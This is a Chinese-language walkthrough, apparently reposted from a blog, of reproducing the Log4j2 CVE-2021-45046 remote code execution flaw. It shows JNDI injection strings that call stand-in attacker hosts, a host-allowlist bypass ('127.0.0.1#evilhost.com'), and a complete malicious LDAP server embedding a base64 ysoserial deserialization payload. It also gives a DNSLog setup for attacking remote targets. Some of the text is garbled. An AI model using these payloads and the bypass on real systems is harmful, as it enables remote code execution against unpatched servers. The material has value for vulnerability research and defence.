Apache Log4j2 Lookup 代码执行拒绝服务漏洞(CVE-2021-45046)

0x01 漏洞简介

Apache Log4j 2 是一个开源日志记录组件,是 Apache Log4j 的升级版,它可以控制一条日志输出格式通过定义一条日志信息级别能够更加细致地控制日志生成过程

继2021年12月9日被曝存在严重代码执行漏洞(CVE-2021-44228)后,Apache Log4j 官方近日又披露了另外一个远程执行漏洞(CVE-2021-45046)漏洞风险已从之前的CVSS 3.7分上升到CVSS 9.0分,该漏洞与非默认配置下对CVE-2021-44228修复措施不完善有关,在线程上下文查找模式的某些非默认配置中,攻击者可以构造特定请求实现远程代码执行

0x02 影响版本

2.0-beta9 =< Apache Log4j 2.x < 2.16.0(2.12.2 版本不受影响

0x03 环境搭建

搭建运行环境:docker run -d -P lehend/log4j2-cve-2021-45046

0x04 漏洞分析

2.15.0之前版本的漏洞的基本原理和解步骤 ,根据之前分析,可知原来的漏洞流程大致如下

1、攻击者发送消息(包含ldap远程执行指令)

2、log4j2打印日志

3、log4j2解析其中的ldap,于是执行lookup操作

4、触发java的ldap的lookup功能,最终远程指令或者本地存在风险的类被执行

在CVE-2021-44228漏洞的sink处,也就是JndiManager#lookup()方法中,进行了以下安全校验

    (1) allowedProtocols:只允许协议java、ldap、ldaps;
    (2) allowedHosts:只允许主机本机IP127.0.0.1、localhost等。
    (3) allowedClasses:LDAP服务器返回包中javaClassName只允许为基本数据类型的类,比如java.lang.Booleanjava.lang.Bytejava.lang.Short等等。(其实这个限制意义不大,后面会说)。
    (4) 不能加载远程ObjectFactory类。

既然如此,想要在2.15.0版本上实现RCE,就必须得解决绕过上面的两大点限制
可触发lookup功能的其它方式
这里以Context Map Lookup为例进行说明
Context Map Lookup 允许应用程序数据存储在Log4j2的线程上下文集合中,当调用logger.error(“xxx”)方法时便会在读取log4j2配置文件时从线程上下文集合检索需要的值。

#测试代码
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;

public class Test {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger(Test.class);
        ThreadContext.put("myContext", "${jndi:ldap://127.0.0.1#192.168.237.130:1389/Exploitwin}");
        logger.error("1111");
    }

}
```xml

    #/resource/log4j2.xml配置文件
    <?xml version="1.0" encoding="UTF-8"?>
    <Configuration status="WARN">
        <Appenders>
            <Console name="Console" target="SYSTEM_OUT">
                <PatternLayout pattern="%d %p %c{1.} [%t] ${ctx:loginId} %m%n"/>
            </Console>
        </Appenders>
        <Loggers>
            <Root level="error">
                <AppenderRef ref="Console"/>
            </Root>
        </Loggers>
    </Configuration>

```xml
#pom.xml
<dependencies>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>4.11</version>
      <scope>test</scope>
    </dependency>
    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-api</artifactId>
      <version>2.15.0</version>
    </dependency>
    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-core</artifactId>
      <version>2.15.0</version>
    </dependency>
  </dependencies>

在Log4j2中,我们配置日志格式时候通过需要配置变量来打印日志时间、打印线程ID等。
在这里插入图片描述

如上图,其中的ctx前缀表示从线程上下文获取参数api版本信息。当我们代码执行的时候,将该变量set到ThreadContext中后,该变量就会打印到日志中。

在这里插入图片描述

这个功能看似很正常,但是却存在一个问题。即:它支持对其配置内容进行lookup,且其和消息的Lookup完全是两个分支。在继续介绍之前,我们需要简单了解下,Log4j2对日志规则中的变量处理逻辑

lookup的功能实现如下

1、首先在日志规则中做如下配置表示日志中需要打印线程上下文中的变量apiVersion对应的值。

2、在代码请求的位置设置apiVersion=${jndi:ldap://localhost:9999/Test}

3、当打印日志的时候,log4j2会解析日志规则。并使用 LiteralPatternConverter解析

c

t

x

:

a

p

i

V

e

r

s

i

o

n

{ctx:apiVersion},将其解析

ctx:apiVersion{jndi:ldap://localhost:9999/Test}

4、解析完成后,发现其还存在${}占位符,于是继续对齐进行解析判断为ldap

5、于是调用JndiManager执行底层ldap的lookup逻辑。从而触发恶意代码执行。

可以看到其和2.15.0版本中的消息处理逻辑相似唯一不同的是:

1、该LiteralPatternConverter中默认就允许执行lookup操作

2、LiteralPatternConverter解析后得到的字符串用于替换${ctx:xxx}所占的位置,最终随日志一起打印。

既然能触发Lookup功能了,那么如果存入Context Map中的值如果是来自外部输入,就存在被RCE攻击风险比如往Context Map中存入用于jndi查询的字串:${jndi:ldap://evilhost.com:8085/a},则在检索的时候便会触发JNDI Lookup。绕过Host白名单限制+反序列化Gadget本地环境实现RCE,前面提到了在2.15.0版本的JndiManager#lookup()方法增加的安全校验

  1. 协议白名单java、ldap、ldaps
  2. 主机白名单本机IP127.0.0.1、localhost等。
  3. javaClassName白名单比如java.lang.Boolean、java.lang.Byte、java.lang.Short等等。
  4. 不能加载远程ObjectFactory类。

因此,我们只能使用ldap协议进行JNDI注入
至于主机白名单这里使用Java一个trick进行绕过ldap://127.0.0.1#evilhost.com

当**URI#getHost()**方法遇到这样的url时,会取#前面协议://后面的部分作为url的Host.

至于javaClassName这个属性这个属性的值是从LDAP服务器返回数据里取的,而且这个属性的值对于后续的漏洞利用毫无影响,只要修改一下LDAP服务端代码,将该值的属性改为满足log4j2中要求的值即可

还有最后一个限制,不允许加载远程ObjectFactory类,代码如下

在这里插入图片描述

如上图代码所示,既然不允许加载远程ObjectFactory类,那我们就修改LDAP服务器,让其返回序列化数据,这样,代码还是会走到最后this.context.lookup()。让LDAP服务返回恶意的Java序列化数据,在目标服务JNDI lookup的过程中,如果目标环境classpath中包含了可利用的反序列化Gadget,便可实现 RCE。

所以这里实现RCE的另一个条件就是目标环境中存在可被利用的Java序列化Gadget。

这里为了测试,我在目标环境中添加commonsbeanutils:1.9.4,目的就是为了利用ysoserial中CommonsBeanutils1这条反序列化Gadget。

<dependency>
  <groupId>commons-beanutils</groupId>
  <artifactId>commons-beanutils</artifactId>
  <version>1.9.4</version>
</dependency>

LDAP目录服务,除了可以存储JNDI Reference对象,还可以存储Java序列化对象。所以我们的LDAP Server可以返回恶意序列化对象给目标程序,触发本地的反序列化Gadget来实现RCE。

下面红框内的代码,表示目标程序对LDAP Serverlookup()查询操作时,解码对象的过程中,如果发现LDAP Server返回的是一段Java序列化的数据,则进行Java序列操作

在这里插入图片描述

在这里插入图片描述

所以可以在marshalsec项目的LDAPRefServer的基础上,创建新的LDAP Server类,使用ysoserial根据环境生成base64代码java -jar ysoserial-all.jar CommonsBeanutils1 'calc'|base64 -w 0 ,我在目标环境中添加commons-beanutils:1.9.4,目的就是为了利用ysoserial中CommonsBeanutils1这条反序列化Gadget。

并将要返回给客户端javaClassName的值指定java.lang.String。

package marshalsec.jndi;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Base64;

public class LdapServer {
    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main (String[] args) {

        String url = "http://127.0.0.1:8000/#exploit1";
        int port = 1389;


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            //并将要返回给客户端的javaClassName的值指定为java.lang.String。
            e.addAttribute("javaClassName", "java.lang.String");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            //低版本JDK
/*            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());*/

            //高版本JDK,这里放的是生成的ysoserial命令 
            //java -jar ysoserial-all.jar CommonsBeanutils1 'calc'|base64 -w 0 

            e.addAttribute("javaSerializedData", Base64.getDecoder().decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABpbK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAEY2FsYwgAMAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADIAMwoAKwA0AQANU3RhY2tNYXBUYWJsZQEAHHlzb3NlcmlhbC9Qd25lcjg1OTk1NjcxNDAwNzYBAB5MeXNvc2VyaWFsL1B3bmVyODU5OTU2NzE0MDA3NjsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABAAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA=="));
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

0x05 漏洞复现

该漏洞相对CVE-2021-44228比较鸡肋,存在以下前提条件

1、配置文件模板里的参数,可以通过外部输入控制。
2、目标环境需要存在反序列化利用链。
3、利用的时候,需要创建你的dnslog平台,使得对 127.0.0.1#dnslog.evilhost 这样的域名发起DNS请求时,能返回LDAP服务器的IP地址

因为有以下限制,如果在本地复现的话,可以直接在本地开启ldap服务,并使用直接返回反序列化数据方式进行漏洞的复现

在远程的话,需要一个服务器,并且需要构建一个域名

(1) allowedProtocols:只允许协议java、ldap、ldaps;
(2) allowedHosts:只允许主机为本机IP127.0.0.1、localhost等。
(3) allowedClasses:LDAP服务器的返回包中javaClassName只允许为基本数据类型的类,比如java.lang.Boolean、java.lang.Byte、java.lang.Short等等。(其实这个限制意义不大,后面会说)。
(4) 不能加载远程ObjectFactory类。

既然公共的DNSLog平台能在捕获DNS日志的同时指定返回一个固定的IP。那我们是否可以自己创建一个DNSLog平台,并指定返回一个公网服务器IP,且服务器部署了我们的恶意LDAP服务器。

使用一个可用作DNSLog的程序knary:https://github.com/sudosammy/knary。

需要一个公网ip和一个域名

设置A记录和NS记录如下:、

[外链图片转存失败,源站可能防盗链机制,建议图片保存下来直接上传(img-7OH9AGiv-1670908301367)(Apache Log4j2 Lookup 代码执行与拒绝服务漏洞(CVE-2021-45046)].assets/image-20221118102439137.png)

如上图,前面三条(1条A记录和两条NS记录)为了能通过互联网正常解析域名xxxx.xyz。

然后,我将dns.xxxx.xyz作为我的DNSLog平台主机域名。其NS记录为ns1.xxxx.xyz 表示用ns1.xxxx.xyz这个Name Server来解dns.xxxx.xyz这个域名然后创建A记录ns1.xxxx.xyz <-> 1.1.1.1 ,让ns1.xxxx.xyz映射到公网IP1.1.1.1。这两条配置是为了让公网的1.1.1.1的DNSLog服务去处理域名dns.xxxx.xyz及其子域的DNS请求。(注:DNSLog服务其实也是一种DNS服务,默认开放的也是UDP的53端口

域名配置好后,接着就是在服务器1.1.1.1上配置knary

DNS=true
HTTP=true
BIND_ADDR=0.0.0.0
CANARY_DOMAIN=dns.xxxx.xyz
LARK_WEBHOOK=https://open.feishu.cn/open-apis/bot/v2/hook/<access_token>
EXT_IP=1.1.1.1
DEBUG=true

CANARY_DOMAIN指定为你要记录DNS日志的域名;
DNS和HTTP为true表示会记录对*.dns.xxxx.xyz域名的DNS请求和HTTP请求;
*_WEBHOOK:knary支持多个webhook服务。这里我配置为飞书的。简单点说,就是配置这个后,可以将对*.dns.xxxx.xyz域名的DNS请求和HTTP请求记录,通过飞书bot机器人推送给你。
EXT_IP:这个很关键,当对*.dns.xxxx.xyz域名或其子域发送DNS请求时,应答给请求方的IP地址这里当然就是配置为我的公网IP1.1.1.1。
DEBUG:true表示启用调试,这会在控制台打印一些调试信息

一切就绪后,启动knary服务。现在可以测试RCE了。在服务器上,使用marshalsec启动可返回恶意序列化数据的LDAP服务

参考链接

https://blog.csdn.net/mole_exp/article/details/122037039

原文地址:https://blog.csdn.net/weixin_44047654/article/details/128300416

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任

如若转载,请注明出处:http://www.7code.cn/show_45128.html

如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱:suwngjj01@126.com进行投诉反馈,一经查实,立即删除

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注